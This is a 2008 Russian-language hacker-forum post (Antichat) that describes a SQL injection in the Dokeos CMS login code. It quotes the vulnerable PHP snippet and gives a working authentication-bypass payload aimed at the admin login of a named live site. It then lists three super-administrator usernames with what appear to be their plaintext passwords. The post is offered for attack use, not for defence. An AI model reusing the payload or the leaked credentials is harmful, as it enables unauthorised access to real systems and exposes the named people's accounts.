Тема: Dokeos CMS
Показать сообщение отдельно

Dokeos CMS
  #1  
Старый 04.07.2008, 18:33
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию Dokeos CMS

Dokeos CMS

Warning: magic_quotes_gpc = off
--------------------------------------
Site: dokeos.com [PR=6]
Status: Free
--------------------------------------
Vuln:
/claro_init_local.inc.php
PHP код:
 ............
   if(isset(
$_POST['login']) && isset($_POST['password'])) // $login && $password are given to log in
    
{
        
$login $_POST['login'];
        
$password $_POST['password'];
 ............. 
--------------------------------------
Exploit:
/admin/login.php
PHP код:
Your login 1' or 1=1/*    
 Your password : x3kpass 
--------------------------------------
Super Administrators:
Код:
yannick:adminPassword
 thomas:upsi24lon
 jwarnier:cisco123
ZAMUT (c)
__________________
в строю

Последний раз редактировалось ZAMUT; 04.07.2008 в 18:38..
 
Ответить с цитированием